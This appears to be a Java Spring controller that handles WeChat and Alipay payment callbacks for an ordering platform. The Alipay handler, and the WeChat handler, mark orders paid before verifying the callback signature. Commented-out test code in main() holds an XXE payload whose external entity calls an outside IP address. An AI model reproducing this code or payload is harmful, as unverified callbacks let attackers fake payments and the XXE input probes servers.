package o2o.web.actions.pay;


import com.alibaba.fastjson.JSONObject;
import com.jinyou.utils.common.DateUtils;
import com.jinyou.utils.common.JYMathDoubleUtils;
import com.jinyou.utils.common.ValidateUtil;
import o2o.cache.order.OrderInfoMemory;
import o2o.cache.sys.SysConfigPayMemory;
import o2o.config.dao.UserDaoSql;
import o2o.dao.PO.PojoTables;
import o2o.dao.PO.common.ResultInfo;
import o2o.dao.PO.order.OrderInfo;
import o2o.dao.PO.sys.SysConfigPay;
import o2o.system.data.SYS_SETTINGS;
import org.apache.commons.lang.StringUtils;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import pay.ChannelUtils;
import pay.alipay.utils.AlipayNotify;
import pay.config.WeixinConfig;
import pay.weixin.utils.HttpXmlUtils;
import pay.weixin.utils.JdomParseXmlUtils;
import pay.weixin.utils.WXSignUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.sql.SQLException;
import java.util.*;

//支付回调
@Controller
public class PayNotifyAction {


    //微信回调
    @RequestMapping(value = "/pay/weixin/notify")
    public void weixin_notify(HttpServletRequest request, HttpServletResponse response) {
        wxNotifyV2(ChannelUtils.wx, request, response);
    }

    //微信回调
    @RequestMapping(value = "/pay/weixin/gzh/notify")
    public void weixin_gzh_notify(HttpServletRequest request, HttpServletResponse response) {
        System.out.println("公众号回调");
        wxNotifyV2(ChannelUtils.wx_gzh, request, response);
    }

    //微信回调
    @RequestMapping(value = "/pay/weixin/xcx/notify")
    public void weixin_xcx_notify(HttpServletRequest request, HttpServletResponse response) {
        System.out.println("小程序回调");
        wxNotifyV2(ChannelUtils.wx_xcx, request, response);
    }

    //-------------------------------支付宝

    //支付宝回调
    @RequestMapping(value = "/pay/ali/notify")
    public String getPayNotify(HttpServletRequest request) {
        Map<String, String> params = new HashMap<String, String>();
        Map requestParams = request.getParameterMap();
        StringBuffer alipaytparams = new StringBuffer();
        for (Iterator iter = requestParams.keySet().iterator(); iter.hasNext(); ) {
            String name = (String) iter.next();
            String[] values = (String[]) requestParams.get(name);
            String valueStr = "";
            for (int i = 0; i < values.length; i++) {
                valueStr = (i == values.length - 1) ? valueStr + values[i] : valueStr + values[i] + ",";
            }
            alipaytparams.append(name).append(":").append(valueStr).append("; ");
            //乱码解决，这段代码在出现乱码时使用。如果mysign和sign不相等也可以使用这段代码转化
            //valueStr = new String(valueStr.getBytes("ISO-8859-1"), "gbk");
            params.put(name, valueStr);
        }

        System.out.println("支付宝回调结果：" + alipaytparams);

        //获取支付宝的通知返回参数，可参考技术文档中页面跳转同步通知参数列表(以下仅供参考)//
        //商户订单号--服务器端生成的订单号，支付宝原样返回
        String out_trade_no = null;
        try {
            out_trade_no = new String(request.getParameter("out_trade_no").getBytes("ISO-8859-1"), "UTF-8");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return "response fail";
        }

        //支付宝交易号--支付宝生成的流水订单号
        String trade_no = null;
        try {
            trade_no = new String(request.getParameter("trade_no").getBytes("ISO-8859-1"), "UTF-8");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return "response fail";
        }

        //交易状态
        //WAIT_BUYER_PAY	交易创建，等待买家付款。
        //TRADE_CLOSED	    在指定时间段内未支付时关闭的交易；在交易完成全额退款成功
        //TRADE_SUCCESS	    交易成功，且可对该交易做操作，如：多级分润、退款等。
        //TRADE_FINISHED	交易成功且结束，即不可再做任何操作。
        String trade_status = null;
        try {
            trade_status = new String(request.getParameter("trade_status").getBytes("ISO-8859-1"), "UTF-8");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return "response fail";
        }

        //异步通知ID
        String notify_id = request.getParameter("notify_id");

        //卖家支付宝账号对应的支付宝唯一用户号。以2088开头的纯16位数字。
        String seller_id = new String(request.getParameter("seller_id"));

        System.out.println("支付宝回调,支付状态：" + out_trade_no + "  " + trade_status);
        if (trade_status.equals("TRADE_FINISHED") || trade_status.equals("TRADE_SUCCESS")) {
//            System.out.println("回调-签名验证：" + AlipayNotify.verifyResponse(notify_id).equals("true"));
//            if (out_trade_no.endsWith("R")) {
//                //房屋租售
//                RoomPayBusiness.finishRoomPay(out_trade_no);
//            } else if (out_trade_no.endsWith("H")) {
//                //网络约车订单
//                HailingBusiness.getInstance().finishHailingOrder(out_trade_no);
//            }

            //处理业务
            //todo zhuwx 回调的没有系统标识
            OrderPay.userOrderPayOver(null, ChannelUtils.alipay, out_trade_no, "");
        }

        //sign
        String sign = request.getParameter("sign");
        if (notify_id != null && !notify_id.equals("")) {
            if (AlipayNotify.verifyResponse(notify_id).equals("true")) {
                //判断成功之后使用getResponse方法判断是否是支付宝发来的异步通知。
                if (AlipayNotify.getSignVeryfy(params, sign)) {
                    //使用支付宝公钥验签
                    if (trade_status.equals("TRADE_FINISHED") || trade_status.equals("TRADE_SUCCESS")) {
                        //业务处理
                        System.out.println("签名验证通过，业务处理即可");
                    }
                    return "success";
                } else {
                    //验证签名失败
                    return "sign fail";
                }
            } else {
                //验证是否来自支付宝的通知失败
                return "response fail";
            }
        } else {
            return "no notify message";
        }
    }


    //-------------------------------------------------------
    //微信支付回调  有漏洞
    private void wxNotify(String channel, HttpServletRequest request, HttpServletResponse response) {
//        try {
//            BufferedReader reader = request.getReader();
//            String line = "";
//            StringBuffer inputString = new StringBuffer();
//            try {
//                PrintWriter writer = response.getWriter();
//                while ((line = reader.readLine()) != null) {
//                    inputString.append(line);
//                }
//                if (reader != null) {
//                    reader.close();
//                }
//
//                System.out.println("----[微信回调]接收到的报文---" + inputString.toString());
//
//                if (!ValidateUtil.isNull(inputString.toString())) {
//                    WXPayResult wxPayResult = JdomParseXmlUtils.getWXPayResult(inputString.toString());
//
//                    if ("SUCCESS".equalsIgnoreCase(wxPayResult.getReturn_code())) {//支付成功
//                        SortedMap<Object, Object> parameters = new TreeMap<Object, Object>();
//                        parameters.put("appid", wxPayResult.getAppid());
//                        parameters.put("attach", wxPayResult.getAttach());
//                        parameters.put("bank_type", wxPayResult.getBank_type());
//                        parameters.put("cash_fee", wxPayResult.getCash_fee());
//                        parameters.put("fee_type", wxPayResult.getFee_type());
//                        parameters.put("is_subscribe", wxPayResult.getIs_subscribe());
//                        parameters.put("mch_id", wxPayResult.getMch_id());
//                        parameters.put("nonce_str", wxPayResult.getNonce_str());
//                        parameters.put("openid", wxPayResult.getOpenid());
//                        parameters.put("out_trade_no", wxPayResult.getOut_trade_no());
//                        parameters.put("result_code", wxPayResult.getResult_code());
//                        parameters.put("return_code", wxPayResult.getReturn_code());
//                        parameters.put("time_end", wxPayResult.getTime_end());
//                        parameters.put("total_fee", wxPayResult.getTotal_fee());
//                        parameters.put("trade_type", wxPayResult.getTrade_type());
//                        parameters.put("transaction_id", wxPayResult.getTransaction_id());
//
//                        if (ValidateUtil.isNotNull(wxPayResult.getOut_trade_no())) {
//                            //处理业务
//                            ResultInfo resultInfo = OrderPay.orderPayOver(channel, wxPayResult.getOut_trade_no(), "");
//                            if (null != resultInfo) {
//                                if (!resultInfo.isSuccess()) {
//                                    System.out.println("----[微信回调]处理订单不成功1：----" + wxPayResult.getOut_trade_no() + "  " + resultInfo.getError() + "  ");
//                                }
//                            } else {
//                                System.out.println("----[微信回调]处理订单不成功2：----" + wxPayResult.getOut_trade_no() + "  " + wxPayResult.getOut_trade_no());
//                            }
//                        } else {
//                            System.out.println("----[微信回调]处理不成功3：---- 订单编号未取到");
//                        }
//
//
//                        //反校验签名
//                        String sign = null;
//                        if (channel.equals(ChannelUtils.wx)) {
//                            try {
//                                sign = WXSignUtils.createSign("UTF-8", parameters);
//                            } catch (UnsupportedEncodingException e) {
//                                e.printStackTrace();
//                            }
//                        }
//                        if (channel.equals(ChannelUtils.wx_pub_qr) || channel.equals(ChannelUtils.wx_gzh)) {
//                            try {
//                                sign = WXSignUtils.createGZHSign("UTF-8", parameters);
//                            } catch (Exception e) {
//                                e.printStackTrace();
//                            }
//                        } else if (channel.equals(ChannelUtils.wx_xcx)) {
//
//                            String xcxApiKey = WeixinConfig.xcxApiKey;
//                            OrderInfo orderInfo = OrderInfoMemory.getInstance().getOrderInfo(wxPayResult.getOut_trade_no());
//                            if (null != orderInfo && ValidateUtil.isID(orderInfo.getAgentId())) {
//                                SysConfigPay sysConfigPay = SysConfigPayMemory.getInstance().getByAgentId(orderInfo.getAgentId());
//                                if (null != sysConfigPay && ValidateUtil.isNotNull(sysConfigPay.getWxXcxApiKey())) {
//                                    xcxApiKey = sysConfigPay.getWxXcxApiKey();
//                                }
//                            }
//
//                            try {
//                                sign = WXSignUtils.createXCXSign("UTF-8", xcxApiKey, parameters);
//                            } catch (Exception e) {
//                                e.printStackTrace();
//                            }
//
//                        }
////                        String sign = WXSignUtils.createSign("UTF-8", parameters);
//                        System.out.println("反校验签名-sign:" + sign + ";       发过来的签名signResult:" + wxPayResult.getSign() + ";    结果;" + (sign.equals(wxPayResult.getSign())));
//                        if (sign.equals(wxPayResult.getSign())) {
//                            writer.write(HttpXmlUtils.backWeixin("SUCCESS", "OK"));
//                        } else {
//                            writer.write(HttpXmlUtils.backWeixin("FAIL", "签名失败"));
//                        }
//                    } else {
//                        writer.write(HttpXmlUtils.backWeixin("FAIL", wxPayResult.getReturn_msg()));
//
//                        System.out.println("---------微信支付返回Fail----------" + wxPayResult.getReturn_msg());
//                    }
//
//                    if (writer != null) {
//                        writer.close();
//                    }
//                } else {
//                    writer.write(HttpXmlUtils.backWeixin("FAIL", "未获取到微信返回的结果"));
//                }
//            } catch (Exception e) {
//                e.printStackTrace();
//            }
//        } catch (Exception ex) {
//            ex.printStackTrace();
//        }
    }

    private void wxNotifyV2(String channel, HttpServletRequest request, HttpServletResponse response) {
        try {
            BufferedReader reader = request.getReader();
            String line = "";
            StringBuffer inputString = new StringBuffer();
            try {
                PrintWriter writer = response.getWriter();
                while ((line = reader.readLine()) != null) {
                    inputString.append(line);
                }
                if (reader != null) {
                    reader.close();
                }

                System.out.println("----[微信回调]接收到的报文---" + inputString.toString());

                if (!ValidateUtil.isNull(inputString.toString())) {
                    SortedMap wxPayResult = JdomParseXmlUtils.parseXmlToList(inputString.toString());
                    if (null == wxPayResult) {
                        return;
                    }
                    if ("SUCCESS".equalsIgnoreCase(wxPayResult.get("result_code").toString())) {//支付成功
//                        SortedMap<Object, Object> parameters = new TreeMap<Object, Object>();
//                        parameters.put("appid", wxPayResult.getAppid());
//                        parameters.put("attach", wxPayResult.getAttach());
//                        parameters.put("bank_type", wxPayResult.getBank_type());
//                        parameters.put("cash_fee", wxPayResult.getCash_fee());
//                        parameters.put("fee_type", wxPayResult.getFee_type());
//                        parameters.put("is_subscribe", wxPayResult.getIs_subscribe());
//                        parameters.put("mch_id", wxPayResult.getMch_id());
//                        parameters.put("nonce_str", wxPayResult.getNonce_str());
//                        parameters.put("openid", wxPayResult.getOpenid());
//                        parameters.put("out_trade_no", wxPayResult.getOut_trade_no());
//                        parameters.put("result_code", wxPayResult.getResult_code());
//                        parameters.put("return_code", wxPayResult.getReturn_code());
//                        parameters.put("time_end", wxPayResult.getTime_end());
//                        parameters.put("total_fee", wxPayResult.getTotal_fee());
//                        parameters.put("trade_type", wxPayResult.getTrade_type());
//                        parameters.put("transaction_id", wxPayResult.getTransaction_id());

                        String outTradeNo = wxPayResult.get("out_trade_no").toString();
                        if (ValidateUtil.isNotNull(outTradeNo)) {
                            //处理业务
                            //todo zhuwx 回调的没有系统标识
                            ResultInfo resultInfo = OrderPay.userOrderPayOver(null, channel, outTradeNo, "");
                            if (null != resultInfo) {
                                if (!resultInfo.isSuccess()) {
                                    System.out.println("----[微信回调]处理订单不成功1：----" + outTradeNo + "  " + resultInfo.getError() + "  ");
                                }
                            } else {
                                System.out.println("----[微信回调]处理订单不成功2：----" + outTradeNo + "  " + outTradeNo);
                            }
                        } else {
                            System.out.println("----[微信回调]处理不成功3：---- 订单编号未取到");
                        }


                        //反校验签名
                        String sign = null;
                        if (channel.equals(ChannelUtils.wx)) {
                            String apiKey = WeixinConfig.apiKey;
                            OrderInfo orderInfo = OrderInfoMemory.getInstance().getOrderInfo(outTradeNo);
                            if (null != orderInfo) {
                                if (ValidateUtil.isID(orderInfo.getAgentId())) {
                                    SysConfigPay sysConfigPay = SysConfigPayMemory.getInstance().getByAgentId(orderInfo.getAgentId(), orderInfo.getPayTypeFlag());
                                    if (null != sysConfigPay && ValidateUtil.isNotNull(sysConfigPay.getWxXcxApiKey())) {
                                        apiKey = sysConfigPay.getWxApiKey();
                                    }
                                } else if (ValidateUtil.isNotNull(orderInfo.getPayTypeFlag())) {
                                    SysConfigPay sysConfigPay = SysConfigPayMemory.getInstance().getByKey(orderInfo.getSysAppKey(), orderInfo.getPayTypeFlag());
                                    if (null != sysConfigPay && ValidateUtil.isNotNull(sysConfigPay.getWxXcxApiKey())) {
                                        apiKey = sysConfigPay.getWxApiKey();
                                    }
                                }
                            }
                            try {
                                sign = WXSignUtils.createSign(apiKey, "UTF-8", wxPayResult);
                            } catch (UnsupportedEncodingException e) {
                                e.printStackTrace();
                            }
                        } else if (channel.equals(ChannelUtils.wx_pub_qr) || channel.equals(ChannelUtils.wx_gzh)) {
                            try {
                                sign = WXSignUtils.createGZHSign("UTF-8", WeixinConfig.gzhApiKey, wxPayResult);
                            } catch (Exception e) {
                                e.printStackTrace();
                            }
                        } else if (channel.equals(ChannelUtils.wx_xcx)) {

                            String xcxApiKey = WeixinConfig.xcxApiKey;
                            OrderInfo orderInfo = OrderInfoMemory.getInstance().getOrderInfo(outTradeNo);
                            if (null != orderInfo) {
                                if (ValidateUtil.isID(orderInfo.getAgentId())) {
                                    SysConfigPay sysConfigPay = SysConfigPayMemory.getInstance().getByAgentId(orderInfo.getAgentId(), orderInfo.getPayTypeFlag());
                                    if (null != sysConfigPay && ValidateUtil.isNotNull(sysConfigPay.getWxXcxApiKey())) {
                                        xcxApiKey = sysConfigPay.getWxXcxApiKey();
                                    }
                                } else if (ValidateUtil.isNotNull(orderInfo.getPayTypeFlag())) {
                                    SysConfigPay sysConfigPay = SysConfigPayMemory.getInstance().getByKey(orderInfo.getSysAppKey(), orderInfo.getPayTypeFlag());
                                    if (null != sysConfigPay && ValidateUtil.isNotNull(sysConfigPay.getWxXcxApiKey())) {
                                        xcxApiKey = sysConfigPay.getWxXcxApiKey();
                                    }
                                }
                            }

                            try {
                                sign = WXSignUtils.createXCXSign("UTF-8", xcxApiKey, (SortedMap<Object, Object>) wxPayResult);
                            } catch (Exception e) {
                                e.printStackTrace();
                            }

                        }
                        String reSign = wxPayResult.get("sign").toString();
//                        String sign = WXSignUtils.createSign("UTF-8", parameters);
                        System.out.println("反校验签名-sign:" + sign + ";       发过来的签名signResult:" + reSign
                                + ";    结果;" + (sign.equals(reSign)));
                        if (sign.equals(reSign)) {
                            writer.write(HttpXmlUtils.backWeixin("SUCCESS", "OK"));
                        } else {
                            writer.write(HttpXmlUtils.backWeixin("FAIL", "签名失败"));
                        }
                    } else {
                        writer.write(HttpXmlUtils.backWeixin("FAIL", wxPayResult.get("return_msg").toString()));

                        System.out.println("---------微信支付返回Fail----------" + wxPayResult.get("return_msg").toString());
                    }

                    if (writer != null) {
                        writer.close();
                    }
                } else {
                    writer.write(HttpXmlUtils.backWeixin("FAIL", "未获取到微信返回的结果"));
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }




    public static void main(String[] args) {
//        String ss = "<xml><appid><![CDATA[wx06c5789c9b5ce28f]]></appid><attach><![CDATA[备用参数]]></attach><bank_type><![CDATA[CFT]]></bank_type><cash_fee>" +
//                "<![CDATA[1]]></cash_fee><fee_type><![CDATA[CNY]]></fee_type><is_subscribe><![CDATA[N]]></is_subscribe><mch_id><![CDATA[1480845142]]></mch_id><nonce_str>" +
//                "<![CDATA[uPxWoxSCsFygRwwE]]></nonce_str><openid><![CDATA[oFCMNwbR_Ws0Wt6rfiIc7uF_uSD8]]></openid><out_trade_no><![CDATA[1712191823433950]]></out_trade_no>" +
//                "<result_code><![CDATA[SUCCESS]]></result_code><return_code><![CDATA[SUCCESS]]></return_code><sign><![CDATA[4C770E3F01E4A53950ABBA15FABF0277]]></sign><time_end><![CDATA[20171219182401]]></time_end><total_fee>1</total_fee><trade_type><![CDATA[APP]]></trade_type><transaction_id><![CDATA[4200000030201712197296319517]]></transaction_id></xml>";
//
//        String ssss = "<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM \"http://183.61.52.240/wx_xxe_dbc_2822?aHR0cDovL3l1bnNvbmcuamlueW91YXBwLmNvbS9vMm8vYWN0aW9uL3BheS93ZWl4aW4vbm90aWZ5\">%xxe;]>";
//
//        if (!ValidateUtil.isNull(ssss)) {
//            WXPayResult wxPayResult = JdomParseXmlUtils.getWXPayResult(ssss);
//
//            if ("SUCCESS".equalsIgnoreCase(wxPayResult.getReturn_code())) {//支付成功
//                SortedMap<Object, Object> parameters = new TreeMap<Object, Object>();
//                parameters.put("appid", wxPayResult.getAppid());
//                parameters.put("attach", wxPayResult.getAttach());
//                parameters.put("bank_type", wxPayResult.getBank_type());
//                parameters.put("cash_fee", wxPayResult.getCash_fee());
//                parameters.put("fee_type", wxPayResult.getFee_type());
//                parameters.put("is_subscribe", wxPayResult.getIs_subscribe());
//                parameters.put("mch_id", wxPayResult.getMch_id());
//                parameters.put("nonce_str", wxPayResult.getNonce_str());
//                parameters.put("openid", wxPayResult.getOpenid());
//                parameters.put("out_trade_no", wxPayResult.getOut_trade_no());
//                parameters.put("result_code", wxPayResult.getResult_code());
//                parameters.put("return_code", wxPayResult.getReturn_code());
//                parameters.put("time_end", wxPayResult.getTime_end());
//                parameters.put("total_fee", wxPayResult.getTotal_fee());
//                parameters.put("trade_type", wxPayResult.getTrade_type());
//                parameters.put("transaction_id", wxPayResult.getTransaction_id());
//            }
//        }
    }
}
